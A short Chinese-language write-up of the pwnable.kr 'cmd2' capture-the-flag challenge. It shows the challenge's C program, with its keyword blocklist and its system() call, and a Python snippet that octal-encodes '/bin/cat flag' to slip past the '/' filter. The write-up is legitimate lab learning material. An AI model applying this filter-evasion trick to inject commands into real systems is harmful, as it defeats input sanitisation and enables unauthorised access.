【Writeup】Pwnable.kr 0x0F cmd2

0x0F cmd2

题目描述

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

题目代码

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

题目分析

这道题比上一道题多过滤了很多东西,主要是把“/”过滤了,就想办法绕过。想了很久没搞定,google了一下,发现可以用八进制进行绕过

解题步骤

from pwn import *
cmd = "/bin/cat flag"
print "\\"+"\\".join([oct(i) for i in ordlist(cmd)])
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 173,956评论 25 709
  • 背景 一年多以前我在知乎上答了有关LeetCode的问题, 分享了一些自己做题目的经验。 张土汪:刷leetcod...
    土汪阅读 12,789评论 0 33
  • 聚餐是一个左右为难的活动,去,可以饕餮大餐,团结群众,但是又浪费时间,叨叨逼逼。不去,错过美食,影响关系,还各种...
    律人阅读 78评论 0 0
  • 具体教程网上一大堆,我只写一下分割窗口吧,比较使用 1.横着分: c-b " 2.竖着分 c-b % 3.其他有用...
    MiracleJQ阅读 1,547评论 0 0
  • (2014-08-30 23:57:28) 继续践行让大家讲故事,让大家倾听的理念,今天的班会,仍然主打讲故事。 ...
    羽觞yy阅读 916评论 0 1